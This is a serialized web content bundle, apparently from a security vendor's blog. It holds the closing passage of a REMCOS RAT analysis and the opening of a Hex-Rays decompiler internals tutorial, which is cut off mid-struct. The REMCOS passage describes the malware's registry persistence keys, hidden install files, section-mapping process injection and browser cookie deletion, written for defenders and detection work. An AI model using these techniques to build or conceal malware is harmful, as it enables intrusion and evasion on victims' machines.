them.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image83.png\",alt:\"0x40CFC3 REMCOS applies read-only and super hidden attributes to its install folder and files\",width:\"887\",height:\"148\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image60.png\",alt:\"Install files set as read-only and super hidden\",width:\"695\",height:\"502\"})}),`\n`,(0,i.jsx)(e.p,{children:\"After installation, REMCOS establishes persistence in the registry depending on which of the following flags are enabled in the configuration:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"enable_hkcu_run_persistence_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x4\"}),`)\n`,(0,i.jsx)(e.code,{children:\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"enable_hklm_run_persistence_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x5\"}),`)\n`,(0,i.jsx)(e.code,{children:\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\\"})]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"enable_hklm_policies_explorer_run_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x8\"}),`)\n`,(0,i.jsx)(e.code,{children:\"HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\\\\"})]}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image47.png\",alt:\"0x40CD0D REMCOS establishing persistence registry keys\",width:\"878\",height:\"279\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The malware is then relaunched from the installation folder using \",(0,i.jsx)(e.code,{children:\"ShellExecuteW\"}),\", followed by termination of the initial process.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image75.png\",alt:\"0x40D04B Relaunch of the REMCOS process after installation\",width:\"747\",height:\"51\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"process-injection\",children:\"Process injection\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.code,{children:\"enable_process_injection_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0xD\"}),\") is enabled in the configuration, REMCOS injects itself into either a specified or a Windows process chosen from an hardcoded list to evade detection.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image15.png\",alt:\"0x40EEB3 Calling process injection feature if enabled in the configuration\",width:\"857\",height:\"187\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image21.png\",alt:\"REMCOS running injected into iexplore.exe\",width:\"527\",height:\"366\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The \",(0,i.jsx)(e.code,{children:\"enable_process_injection_flag\"}),\" can be either a boolean or the name of a target process. When set to true (1), the injected process is chosen in a \\u201Cbest effort\\u201D manner from the following options:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"iexplorer.exe\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"ieinstal.exe\"})}),`\n`,(0,i.jsx)(e.li,{children:(0,i.jsx)(e.code,{children:\"ielowutil.exe\"})}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image73.png\",alt:\"\",width:\"766\",height:\"230\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.em,{children:\"Note: there is only one injection method available in REMCOS, when we talk about process injection we are specifically referring to the method outlined here\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"REMCOS uses a classic \",(0,i.jsx)(e.code,{children:\"ZwMapViewOfSection\"}),\" + \",(0,i.jsx)(e.code,{children:\"SetThreadContext\"}),\" + \",(0,i.jsx)(e.code,{children:\"ResumeThread\"}),\" technique for process injection. This involves copying itself into the injected binary via shared memory, mapped using \",(0,i.jsx)(e.code,{children:\"ZwMapViewOfSection\"}),\" and then hijacking its execution flow to the REMCOS entry point using \",(0,i.jsx)(e.code,{children:\"SetThreadContext\"}),\" and \",(0,i.jsx)(e.code,{children:\"ResumeThread\"}),\" methods.\"]}),`\n`,(0,i.jsxs)(e.p,{children:[\"It starts by creating the target process in suspended mode using the \",(0,i.jsx)(e.code,{children:\"CreateProcessW\"}),\" API and retrieving its thread context using the \",(0,i.jsx)(e.code,{children:\"GetThreadContext\"}),\" API.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image97.png\",alt:\"0x418217 Creation of target process suspended mode\",width:\"1029\",height:\"233\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Then, it creates a shared memory using the \",(0,i.jsx)(e.code,{children:\"ZwCreateSection\"}),\" API and maps it into the target process using the \",(0,i.jsx)(e.code,{children:\"ZwMapViewOfSection\"}),\" API, along with the handle to the remote process.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image66.png\",alt:\"0x418293 Creating of the shared memory\",width:\"863\",height:\"66\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image43.png\",alt:\"0x41834C Mapping of the shared memory in the target process\",width:\"1102\",height:\"31\"})}),`\n`,(0,i.jsx)(e.p,{children:\"The binary is next loaded into the remote process by copying its header and sections into shared memory.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image90.png\",alt:\"0x41836F Mapping the PE in the shared memory using memmove\",width:\"1325\",height:\"199\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"Relocations are applied if necessary. Then, the PEB \",(0,i.jsx)(e.code,{children:\"ImageBaseAddress\"}),\" is fixed using the \",(0,i.jsx)(e.code,{children:\"WriteProcessMemory\"}),\" API. Subsequently, the thread context is set with a new entry point pointing to the REMCOS entry point, and process execution resumes.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image34.png\",alt:\"0x41840B Hijacking process entry point to REMCOS entry point and resuming the process\",width:\"862\",height:\"254\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Below is the detection of this process injection technique by our agent:\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image54.png\",alt:\"Process injection alert\",width:\"840\",height:\"34\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image59.png\",alt:\"Process injection process tree\",width:\"900\",height:\"363\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"setting-up-logging-mode\",children:\"Setting up logging mode\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"REMCOS has three logging mode values that can be selected with the \",(0,i.jsx)(e.code,{children:\"logging_mode\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x28\"}),\") field of the configuration:\"]}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsx)(e.li,{children:\"0: No logging\"}),`\n`,(0,i.jsx)(e.li,{children:\"1: Start minimized in tray icon\"}),`\n`,(0,i.jsx)(e.li,{children:\"2: Console logging\"}),`\n`]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image39.png\",alt:\"0x40EFA3 Logging mode configured from settings\",width:\"731\",height:\"66\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Setting this field to 2 enables the console, even when process injection is enabled, and exposes additional information.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image71.png\",alt:\"REMCOS console displayed while injected into iexplore.exe\",width:\"492\",height:\"303\"})}),`\n`,(0,i.jsx)(e.h2,{id:\"cleaning-browsers\",children:\"Cleaning browsers\"}),`\n`,(0,i.jsxs)(e.p,{children:[\"When the \",(0,i.jsx)(e.code,{children:\"enable_browser_cleaning_on_startup_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x2B\"}),\") is enabled, REMCOS will delete cookies and login information from the installed web browsers on the host.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image5.png\",alt:\"0x40F1CC Calling browser cleaning feature when enabled in the configuration\",width:\"627\",height:\"231\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"According to the \",(0,i.jsx)(e.a,{href:\"https://breakingsecurity.net/wp-content/uploads/dlm_uploads/2018/07/Remcos_Instructions_Manual_rev22.pdf\",rel:\"nofollow\",children:\"official documentation\"}),\" the goal of this capability is to increase the system security against password theft:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image76.png\",alt:\"\",width:\"851\",height:\"121\"})}),`\n`,(0,i.jsx)(e.p,{children:\"Currently, the supported browsers are Internet Explorer, Firefox, and Chrome.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image7.png\",alt:\"0x40C00C Supported browsers for cleaning features\",width:\"302\",height:\"184\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"The cleaning process involves deleting cookies and login files from browsers' known directory paths using the \",(0,i.jsx)(e.code,{children:\"FindFirstFileA\"}),\", \",(0,i.jsx)(e.code,{children:\"FindNextFileA\"}),\", and \",(0,i.jsx)(e.code,{children:\"DeleteFileA\"}),\" APIs:\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image56.png\",alt:\"0x40BD37 Cleaning Firefox cookies 1/2\",width:\"801\",height:\"137\"})}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image74.png\",alt:\"0x40BD37 Cleaning Firefox cookies 2/2\",width:\"679\",height:\"279\"})}),`\n`,(0,i.jsx)(e.p,{children:\"When the job is completed, REMCOS prints a message to the console.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image96.png\",alt:\"REMCOS printing success message after cleaning browsers\",width:\"486\",height:\"298\"})}),`\n`,(0,i.jsx)(e.p,{children:\"It's worth mentioning two related fields in the configuration:\"}),`\n`,(0,i.jsxs)(e.ul,{children:[`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"enable_browser_cleaning_only_for_the_first_run_flag\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x2C\"}),\")\"]}),`\n`,(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:\"browser_cleaning_sleep_time_in_minutes\"}),\" (index \",(0,i.jsx)(e.code,{children:\"0x2D\"}),\")\"]}),`\n`]}),`\n`,(0,i.jsxs)(e.p,{children:[\"The \",(0,i.jsx)(e.code,{children:\"browser_cleaning_sleep_time_in_minutes\"}),\" configuration value determines how much time REMCOS will sleep before performing the job.\"]}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image13.png\",alt:\"0x40C162 Sleeping before performing browser cleaning job\",width:\"507\",height:\"118\"})}),`\n`,(0,i.jsxs)(e.p,{children:[\"When \",(0,i.jsx)(e.code,{children:\"enable_browser_cleaning_only_for_the_first_run_flag\"}),\" is enabled, the cleaning will occur only at the first run of REMCOS. Afterward, the \",(0,i.jsx)(e.code,{children:\"HKCU/SOFTWARE/{mutex}/FR\"}),\" registry value is set.\"]}),`\n`,(0,i.jsx)(e.p,{children:\"On subsequent runs, the function directly returns if the value exists and is set in the registry.\"}),`\n`,(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:\"/assets/images/dissecting-remcos-rat-part-one/image67.png\",alt:\"\",width:\"781\",height:\"129\"})}),`\n`,(0,i.jsx)(e.p,{children:\"That\\u2019s the end of the first article. The second part will cover the second half of REMCOS' execution flow, starting from its watchdog to the first communication with its C2.\"})]})}function _(n={}){let{wrapper:e}=n.components||{};return e?(0,i.jsx)(e,Object.assign({},n,{children:(0,i.jsx)(d,n)})):d(n)}var C=_;return b(S);})();\n;return Component;"},"_id":"articles/dissecting-remcos-rat-part-one.mdx","_raw":{"sourceFilePath":"articles/dissecting-remcos-rat-part-one.mdx","sourceFileName":"dissecting-remcos-rat-part-one.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/dissecting-remcos-rat-part-one"},"type":"Article","imageUrl":"/assets/images/dissecting-remcos-rat-part-one/Security Labs Images 36.jpg","readingTime":"10 min read","series":"","url":"/dissecting-remcos-rat-part-one","headings":[{"level":2,"title":"Introduction","href":"#introduction"},{"level":3,"title":"Loading the configuration","href":"#loading-the-configuration"},{"level":3,"title":"UAC Bypass","href":"#uac-bypass"},{"level":3,"title":"Disabling UAC","href":"#disabling-uac"},{"level":2,"title":"Install and persistence","href":"#install-and-persistence"},{"level":2,"title":"Process injection","href":"#process-injection"},{"level":2,"title":"Setting up logging mode","href":"#setting-up-logging-mode"},{"level":2,"title":"Cleaning browsers","href":"#cleaning-browsers"}],"author":[{"title":"Cyril François","slug":"cyril-francois","description":"Elastic Security Labs Team Senior Research Engineer, Malware","body":{"raw":"","code":"var Component=(()=\u003e{var m=Object.create;var i=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var g=Object.getPrototypeOf,_=Object.prototype.hasOwnProperty;var d=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),j=(t,e)=\u003e{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},s=(t,e,n,o)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let a of f(e))!_.call(t,a)\u0026\u0026a!==n\u0026\u0026i(t,a,{get:()=\u003ee[a],enumerable:!(o=x(e,a))||o.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?m(g(t)):{},s(e||!t||!t.__esModule?i(n,\"default\",{value:t,enumerable:!0}):n,t)),y=t=\u003es(i({},\"__esModule\",{value:!0}),t);var u=d((w,c)=\u003e{c.exports=_jsx_runtime});var b={};j(b,{default:()=\u003eF,frontmatter:()=\u003eM});var r=p(u()),M={title:\"Cyril Fran\\xE7ois\",description:\"Elastic Security Labs Team Senior Research Engineer, Malware\",slug:\"cyril-francois\"};function l(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(l,t)})):l(t)}var F=C;return y(b);})();\n;return Component;"},"_id":"authors/cyril-francois.mdx","_raw":{"sourceFilePath":"authors/cyril-francois.mdx","sourceFileName":"cyril-francois.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/cyril-francois"},"type":"Author","imageUrl":"","url":"/authors/cyril-francois"},{"title":"Samir Bousseaden","slug":"samir-bousseaden","body":{"raw":"","code":"var Component=(()=\u003e{var x=Object.create;var s=Object.defineProperty;var d=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,e)=\u003e()=\u003e(e||t((e={exports:{}}).exports,e),e.exports),l=(t,e)=\u003e{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},u=(t,e,n,a)=\u003e{if(e\u0026\u0026typeof e==\"object\"||typeof e==\"function\")for(let o of f(e))!g.call(t,o)\u0026\u0026o!==n\u0026\u0026s(t,o,{get:()=\u003ee[o],enumerable:!(a=d(e,o))||a.enumerable});return t};var p=(t,e,n)=\u003e(n=t!=null?x(_(t)):{},u(e||!t||!t.__esModule?s(n,\"default\",{value:t,enumerable:!0}):n,t)),M=t=\u003eu(s({},\"__esModule\",{value:!0}),t);var m=j((h,i)=\u003e{i.exports=_jsx_runtime});var F={};l(F,{default:()=\u003eD,frontmatter:()=\u003eb});var r=p(m()),b={title:\"Samir Bousseaden\",slug:\"samir-bousseaden\"};function c(t){return(0,r.jsx)(r.Fragment,{})}function C(t={}){let{wrapper:e}=t.components||{};return e?(0,r.jsx)(e,Object.assign({},t,{children:(0,r.jsx)(c,t)})):c(t)}var D=C;return M(F);})();\n;return Component;"},"_id":"authors/samir-bousseaden.mdx","_raw":{"sourceFilePath":"authors/samir-bousseaden.mdx","sourceFileName":"samir-bousseaden.mdx","sourceFileDir":"authors","contentType":"mdx","flattenedPath":"authors/samir-bousseaden"},"type":"Author","imageUrl":"","url":"/authors/samir-bousseaden"}],"category":[{"title":"Malware analysis","slug":"malware-analysis","body":{"raw":"","code":"var Component=(()=\u003e{var u=Object.create;var s=Object.defineProperty;var x=Object.getOwnPropertyDescriptor;var f=Object.getOwnPropertyNames;var _=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var j=(t,n)=\u003e()=\u003e(n||t((n={exports:{}}).exports,n),n.exports),M=(t,n)=\u003e{for(var e in n)s(t,e,{get:n[e],enumerable:!0})},i=(t,n,e,o)=\u003e{if(n\u0026\u0026typeof n==\"object\"||typeof n==\"function\")for(let r of f(n))!g.call(t,r)\u0026\u0026r!==e\u0026\u0026s(t,r,{get:()=\u003en[r],enumerable:!(o=x(n,r))||o.enumerable});return t};var d=(t,n,e)=\u003e(e=t!=null?u(_(t)):{},i(n||!t||!t.__esModule?s(e,\"default\",{value:t,enumerable:!0}):e,t)),p=t=\u003ei(s({},\"__esModule\",{value:!0}),t);var l=j((X,c)=\u003e{c.exports=_jsx_runtime});var D={};M(D,{default:()=\u003eC,frontmatter:()=\u003ew});var a=d(l()),w={title:\"Malware analysis\",slug:\"malware-analysis\"};function m(t){return(0,a.jsx)(a.Fragment,{})}function y(t={}){let{wrapper:n}=t.components||{};return n?(0,a.jsx)(n,Object.assign({},t,{children:(0,a.jsx)(m,t)})):m(t)}var C=y;return p(D);})();\n;return Component;"},"_id":"categories/malware-analysis.mdx","_raw":{"sourceFilePath":"categories/malware-analysis.mdx","sourceFileName":"malware-analysis.mdx","sourceFileDir":"categories","contentType":"mdx","flattenedPath":"categories/malware-analysis"},"type":"Category","url":"/categories/malware-analysis"}]},{"title":"Introduction to Hex-Rays decompilation internals","slug":"introduction-to-hexrays-decompilation-internals","date":"2024-02-14","description":"In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code.","image":"photo-edited-05.png","tags":["malware-analysis"],"body":{"raw":"\n## Introduction\n\nIn this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code. The final section includes a practical example demonstrating how to annotate a custom import table for malware analysis.\n\nThis guide is meant to help reverse engineers and malware analysts better understand the internal structures used during IDA's function decompilation. We advise keeping an eye on the [Hex-Rays SDK](https://hex-rays.com/products/decompiler/manual/sdk/index.shtml) that can be found under IDA PRO’s plugins directory, all the structures discussed below are sourced from it.\n\n## Architecture\n\nHex-Rays decompiles a function through a multistage process starting with the disassembled code of a function:\n 1. Assembly code to microcode: \n It does a conversion of the assembly instructions that are stored in an [`insn_t`](https://hex-rays.com/products/ida/support/sdkdoc/classinsn__t.html) structure to microcode instructions represented by a [`minsn_t`](https://hex-rays.com/products/decompiler/manual/sdk/classminsn__t.shtml) structure\n\n 2. CTree generation: \n From the optimized microcode, Hex-Rays generates the Abstract Syntax Tree(AST), its nodes are either statements ([`cinsn_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml)) or expressions ([`cexpr_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml)); note that both `cinsn_t` and `cexpr_t` inherit from the [`citem_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml) structure\n\n## Microcode\n\nMicrocode is an intermediate language (IL) used by Hex-Rays, generated by lifting the assembly code of a binary. This has multiple advantages, one of which is that it is processor-independent.\n\nThe following screenshot displays the assembly and decompiled code, alongside its microcode extracted using [Lucid](https://github.com/gaasedelen/lucid), a tool that facilitates microcode visualization.\n\n![A view of the assembly code, decompiled code, and microcode](/assets/images/introduction-to-hexrays-decompilation-internals/image5.png)\n\nWe can access the MBA (microcode block array) through the `cfunc_t` structure of a decompiled function with the MBA field.\n\n_Tip:_ we get the `cfunc_t` of a decompiled function with the `ida_hexrays.decompile`.\n\n[`mba_t`](https://hex-rays.com/products/decompiler/manual/sdk/classmba__t.shtml) is an array of micro blocks [`mblock_t`](https://hex-rays.com/products/decompiler/manual/sdk/classmblock__t.shtml), the first block represents the entry point of the function and the last one represents the end. Micro blocks (`mblock_t`) are structured in a double linked list, we can access the next / previous block with `nextb`/`prevb` fields respectively. Each `mblock_t` includes a double linked list of microcode instructions `minsn_t`, accessed by the field `head` for the first instruction of the block and `tail` for the last instruction of the block. The `mblock_t` structure is depicted in the following code snippet.\n\n```C\nclass mblock_t\n{\n//...\npublic:\n mblock_t *nextb; ///\u003c next block in the doubly linked list\n mblock_t *prevb; ///\u003c previous block in the doubly linked list\n uint32 flags; ///\u003c combination of \\ref MBL_ bits\n ea_t start; ///\u003c start address\n ea_t end; ///\u003c end address\n minsn_t *head; ///\u003c pointer to the first instruction of the block\n minsn_t *tail; ///\u003c pointer to the last instruction of the block\n mba_t *mba; \n```\n \nA microcode instruction `minsn_t` is a double linked list, each microcode instruction contains 3 operands: left, right, and destination. We can access the next/previous microcode instruction of the same block with `next`/`prev` fields; the opcode field is an enumeration ([`mcode_t`](https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#:~:text=enum-,mcode_t,-%7B%0A%C2%A0%C2%A0m_nop)) of all the microinstruction opcodes, for example, the `m_mov` enum represents the `mov` opcode.\n\n```C\nclass minsn_t\n{\n//...\npublic:\n mcode_t opcode; ///\u003c instruction opcode enumeration\n int iprops; ///\u003c combination of \\ref IPROP_ bits\n minsn_t *next; ///\u003c next insn in doubly linked list. check also nexti()\n minsn_t *prev; ///\u003c prev insn in doubly linked list. check also previ()\n ea_t ea; ///\u003c instruction address\n mop_t l; ///\u003c left operand\n mop_t r; ///\u003c right operand\n mop_t d; ///\u003c destination operand\n //...\n\nenum mcode_t\n{\n m_nop = 0x00, // nop // no operation\n m_stx = 0x01, // stx l, {r=sel, d=off} // store register to memory \n m_ldx = 0x02, // ldx {l=sel,r=off}, d // load register from memory \n m_ldc = 0x03, // ldc l=const, d // load constant\n m_mov = 0x04, // mov l, d // move \n m_neg = 0x05, // neg l, d // negate\n m_lnot = 0x06, // lnot l, d // logical not\n//...\n};\n```\n\nEach operand is of type [`mop_t`](https://hex-rays.com/products/decompiler/manual/sdk/classmop__t.shtml), depending on the type (accessed with the `t` field) it can hold registers, immediate values, and even nested microcode instructions. As an example, the following is the microcode of a function with multiple nested instructions:\n\n![Nested microcode instructions](/assets/images/introduction-to-hexrays-decompilation-internals/image3.png)\n\n```C\nclass mop_t\n{\n\tpublic:\n\t /// Operand type.\n\t mopt_t t;\n\tunion\n\t {\n\t mreg_t r; // mop_r register number\n\t mnumber_t *nnn; // mop_n immediate value\n\t minsn_t *d; // mop_d result (destination) of another instruction\n\t stkvar_ref_t *s; // mop_S stack variable\n\t ea_t g; // mop_v global variable (its linear address)\n\t int b; // mop_b block number (used in jmp,call instructions)\n\t mcallinfo_t *f; // mop_f function call information\n\t lvar_ref_t *l; // mop_l local variable\n\t mop_addr_t *a; // mop_a variable whose address is taken\n\t char *helper; // mop_h helper function name\n\t char *cstr; // mop_str utf8 string constant, user representation\n\t mcases_t *c; // mop_c cases\n\t fnumber_t *fpc; // mop_fn floating point constant\n\t mop_pair_t *pair; // mop_p operand pair\n\t scif_t *scif; // mop_sc scattered operand info\n\t };\n\t#...\n}\n\n/// Instruction operand types\ntypedef uint8 mopt_t;\nconst mopt_t\n mop_z = 0, ///\u003c none\n mop_r = 1, ///\u003c register (they exist until MMAT_LVARS)\n mop_n = 2, ///\u003c immediate number constant\n mop_str = 3, ///\u003c immediate string constant (user representation)\n #...\n```\n\nThe microcode generation progresses through various maturity levels, also referred to as optimization levels. The initial level, `MMAT_GENERATED`, involves the direct translation of assembly code into microcode. The final optimization level before generating the CTree is `MMAT_LVARS`.\n\n```C\nenum mba_maturity_t\n{\n MMAT_ZERO, ///\u003c microcode does not exist\n MMAT_GENERATED, ///\u003c generated microcode\n MMAT_PREOPTIMIZED, ///\u003c preoptimized pass is complete\n MMAT_LOCOPT, ///\u003c local optimization of each basic block is complete.\n ///\u003c control flow graph is ready too.\n MMAT_CALLS, ///\u003c detected call arguments\n MMAT_GLBOPT1, ///\u003c performed the first pass of global optimization\n MMAT_GLBOPT2, ///\u003c most global optimization passes are done\n MMAT_GLBOPT3, ///\u003c completed all global optimization. microcode is fixed now.\n MMAT_LVARS, ///\u003c allocated local variables\n};\n```\n\n### Microcode traversal example\n\nThe following Python code is used as an example of how to traverse and print the microcode instructions of a function, it traverses the microcode generated at the first maturity level (`MMAT_GENERATED`).\n\n```Python\nimport idaapi\nimport ida_hexrays\nimport ida_lines\n\n\nMCODE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('m_'), dir(ida_hexrays))])\n\ndef get_mcode_name(mcode):\n \"\"\"\n Return the name of the given mcode_t.\n \"\"\"\n for value, name in MCODE:\n if mcode == value:\n return name\n return None\n\n\ndef parse_mop_t(mop):\n if mop.t != ida_hexrays.mop_z:\n return ida_lines.tag_remove(mop._print())\n return ''\n\n\ndef parse_minsn_t(minsn):\n opcode = get_mcode_name(minsn.opcode)\n ea = minsn.ea\n \n text = hex(ea) + \" \" + opcode\n for mop in [minsn.l, minsn.r, minsn.d]:\n text += ' ' + parse_mop_t(mop)\n print(text)\n \n \ndef parse_mblock_t(mblock):\n minsn = mblock.head\n while minsn and minsn != mblock.tail:\n parse_minsn_t(minsn)\n minsn = minsn.next\n \n\ndef parse_mba_t(mba):\n for i in range(0, mba.qty):\n mblock_n = mba.get_mblock(i)\n parse_mblock_t(mblock_n)\n\n\ndef main():\n func = idaapi.get_func(here()) # Gets the function at the current cursor\n maturity = ida_hexrays.MMAT_GENERATED\n mbr = ida_hexrays.mba_ranges_t(func)\n hf = ida_hexrays.hexrays_failure_t()\n ida_hexrays.mark_cfunc_dirty(func.start_ea)\n mba = ida_hexrays.gen_microcode(mbr, hf, None, ida_hexrays.DECOMP_NO_WAIT, maturity)\n parse_mba_t(mba)\n\n\nif __name__ == '__main__':\n main()\n```\n\nThe script's output is presented below: on the left, the printed microcode in the console, and on the right, the assembly code by IDA:\n\n![Microcode traversal script’s output, assembly code](/assets/images/introduction-to-hexrays-decompilation-internals/image10.png)\n\n### CTree\n\nIn this section, we'll dive into the core elements of Hex-Rays CTree structure, then proceed to a practical example demonstrating how to annotate a custom import table of malware that loads APIs dynamically.\n\nFor a better understanding, we will be leveraging the following plugin ([hrdevhelper](https://github.com/patois/HRDevHelper)) that allows us to view the CTree nodes in IDA as a graph.\n\n![CTree graph of a function generated using hrdevhelper](/assets/images/introduction-to-hexrays-decompilation-internals/image7.png)\n\n[`citem_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml) is an abstract class that is the base for both [`cinsn_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml) and [`cexpr_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml), it holds common info like the address, item type and label while also featuring constants like `is_expr`, `contains_expr` that can be used to know the type of the object:\n\n```C\nstruct citem_t\n{\n ea_t ea = BADADDR; ///\u003c address that corresponds to the item. may be BADADDR\n ctype_t op = cot_empty; ///\u003c item type\n int label_num = -1; ///\u003c label number. -1 means no label. items of the expression\n ///\u003c types (cot_...) should not have labels at the final maturity\n ///\u003c level, but at the intermediate levels any ctree item\n ///\u003c may have a label. Labels must be unique. Usually\n ///\u003c they correspond to the basic block numbers.\n mutable int index = -1; ///\u003c an index in cfunc_t::treeitems.\n ///\u003c meaningful only after print_func()\n//...\n```\n\nThe item type accessed with the `op` field indicates the type of the node, expression nodes are prefixed with `cot_` and the statements nodes are prefixed with `cit_`, example `cot_asg` indicates that the node is an assignment expression while `cit_if` indicates that the node is a condition (if) statement.\n\nDepending on the type of the statement node, a `cinsn_t` can have a different attribute for example if the item type is `cit_if` we can access the detail of the condition node through the `cif` field, as seen in the below snippet, `cinsn_t` is implemented using a union. Note that a [`cblock_t`](https://hex-rays.com/products/decompiler/manual/sdk/structcblock__t.shtml) is a block statement which is a list of `cinsn_t` statements, we can find this type for example at the beginning of a function or after a conditional statement.\n\n```C\nstruct cinsn_t : public citem_t\n{\n union\n {\n cblock_t *cblock; ///\u003c details of block-statement\n cexpr_t *cexpr; ///\u003c details of expression-statement\n cif_t *cif; ///\u003c details of if-statement\n cfor_t *cfor; ///\u003c details of for-statement\n cwhile_t *cwhile; ///\u003c details of while-statement\n cdo_t *cdo; ///\u003c details of do-statement\n cswitch_t 